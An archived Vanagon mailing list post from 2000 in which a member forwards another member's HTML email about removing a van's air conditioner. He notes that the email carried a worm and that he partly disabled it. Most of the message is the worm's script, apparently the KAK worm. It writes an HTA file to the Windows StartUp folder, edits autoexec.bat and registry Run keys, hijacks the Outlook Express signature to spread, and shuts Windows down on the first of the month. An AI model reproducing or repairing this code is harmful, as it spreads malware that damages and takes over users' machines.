Vanagon EuroVan
Previous messageNext messagePrevious in topicNext in topicPrevious by same authorNext by same authorPrevious page (June 2000, week 4)Back to main VANAGON pageJoin or leave VANAGON (or change settings)ReplyPost a new messageSearchProportional fontNon-proportional font
Date:         Sat, 24 Jun 2000 14:49:03 -0700
Reply-To:     "Tom L. Neal" <jneal@netcom.com>
Sender:       Vanagon Mailing List <vanagon@gerry.vanagon.com>
From:         "Tom L. Neal" <jneal@netcom.com>
Subject:      Nice worm, innoculated with a couple of mods
In-Reply-To:  <000401bfddf4$b791af00$46903604@hhnch>
Content-Type: TEXT/PLAIN; charset=iso-8859-1


Nice worm. Pretty fancy programming.
Another good reason to switch to text mode from html, if possible.   
Cheers, Tom Neal


The message starts here....


From drschiesser@bigplanet.comSat Jun 24 14:33:05 2000
Date: Fri, 23 Jun 2000 14:56:30 -0400
From: michael schiesser <drschiesser@bigplanet.com>
To: vanagon@GERRY.VANAGON.COM
Subject: Lets rip out the Air conditioner - 89 vanagon
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2314.1000" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV>&nbsp;</DIV>
<DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC 
id=scr></OBJECT></DIV>
<DIV><FONT face=Arial size=2>I want to rip out my AC. </FONT></DIV>
<DIV><FONT face=Arial size=2>why?</FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>A. It doesn't work (needs lots of new parts( 
~$1000 worth to get it working)</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>B. If it did, it would overheat the 
engine</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>C. It takes up so much 
room</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>D. IT's freon based and we all know the state 
of the ozone layer</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT face=Arial>1.Has anyone done this before? (tips 
please)</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>2.Does anyone want any of the parts? I think 
the compressor and exchanger work fine, its line leaks etc that are the 
problem</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>3. Any cool ideas of what to do with all that 
extra overhead space? Can I get factory looking overhead cabinet anywhere. I'd 
like to put some speakers and maybe a subwoofer up there. </FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT face=Arial>Michael Schiesser</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>Harvard Ma</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial>89 Westfalia</FONT></FONT></DIV>
<DIV><FONT size=2><FONT face=Arial></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT face=Arial>


The worm seems to start here......


SCRIPT><!--
=function sErr(){return 
=true;}window.onerror=sErr;scr.Reset();scr.doc="ZHTML><HEAD><TITLE>Driver 
=Memory Error</"+"TITLE><HTA:APPLICATION ID=\"hO\" 
=WINDOWSTATE=Minimize></"+"HEAD><BODY BGCOLOR=#CCCCCC><object id='wsh' 
=classid='clsid:F935DC22-1CF0-11D0-ADB9
=-00C04FD58A0B'></"+"object><SCRIPTfunction sEr(){self.close();return 
=true;}window.onerror=sEr;fs=new 
=ActiveXObject('Scripting.FileSystemObject');wd='C:\\\\Windows\\\\';fl=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var mye=new Enumera
=tor(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new 
=String{idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1\\\\PROGRA~1\\\\DÉMARR~1\\\\kak.hta';ken=wd+'STARTM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=wd+'System\\\\'+fic+'.hta';kk=(fs.
=FileExists(kfr))?kfr:ken;aek=':\\\\AE.KAK';aeb='C:\\\\Autoexec=bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if(hO.commandLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAsTextStream(8);pth=(kk==kfr)?wd+'MENUD~1\\\\PROGRA~1\\\\DMARR~1\\\\ka
=k.hta':ken;t1.WriteLin('@echo off>'+pth);t1.WriteLin('del 
='+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.WriteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\
=Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook 
=Express\\\\5.0';sg='\\\\signatures';t2.WriteLin(ky+sg+']');t2.Write('\"Default Signature\"=\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\\\00000000]');t2.WriteLine('\"name\"=\"Signatu
=re 
=#1\"');t2.WriteLine('\"type\"=dword:00000002');t2.WriteLine('\"text\"=\"\"');t2.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature Flags\"=dword:00000003');t2.WriteBlankLines(2);t2.Wr
=iteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cAg0u\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s '+wd+'kak.reg');t3=fs.Cre
=ateTextFile(wd+'kak.htm',1);t3.Write'HTML><BODY><DIV 
=style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT 
=classid=clsid:06290BD5-48AA-11D2-8432-006008C3BFC 
=id=scr></"+"OBJECT></"+"DIV>');t4=fs.OpenTextFile(k,1);while(t4.Read(1)!='Z');t3.W
=riteLine('SCRIPT><!--');t3.write('function sErr(){return 
=true;}window.onerror=sErr;scr.Reset();scr.doc=\"Z');rs=t4.Read(3095);t4.close();rd=/\\\\/g;re=/\"/g;rf=/<\\//g;rt=rs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLin
=e(rt+'\";la=(navigator.systemLanguage)?navigator.sytemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu Démarrer\\\\\\\\Programmes\\\\\\\\Démarrage\\\\\\\\kak.hta\":\"C:\\\\\\\\windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\
=\\\\StartUp\\\\\\\\kak.hta\";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf(\"msie 5.\")!=-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>'
=);t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;s.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 dri
=ver memory alloc failed &nbsp; 
=!]]%%%%%</"+"BODY></"+"HTML>";la(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\Sta
=rtUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write();
=//-->/SCRIPT>
/OBJECT></FONT></FONT></DIV></BODY>/HTML>
Back to: Top of message | Previous page | Main VANAGON page

Please note - During the past 17 years of operation, several gigabytes of Vanagon mail messages have been archived. Searching the entire collection will take up to five minutes to complete. Please be patient!

Return to the archives @ gerry.vanagon.com

The vanagon mailing list archives are copyright (c) 1994-2011, and may not be reproduced without the express written permission of the list administrators. Posting messages to this mailing list grants a license to the mailing list administrators to reproduce the message in a compilation, either printed or electronic. All compilations will be not-for-profit, with any excess proceeds going to the Vanagon mailing list.

Any profits from list compilations go exclusively towards the management and operation of the Vanagon mailing list and vanagon mailing list web site.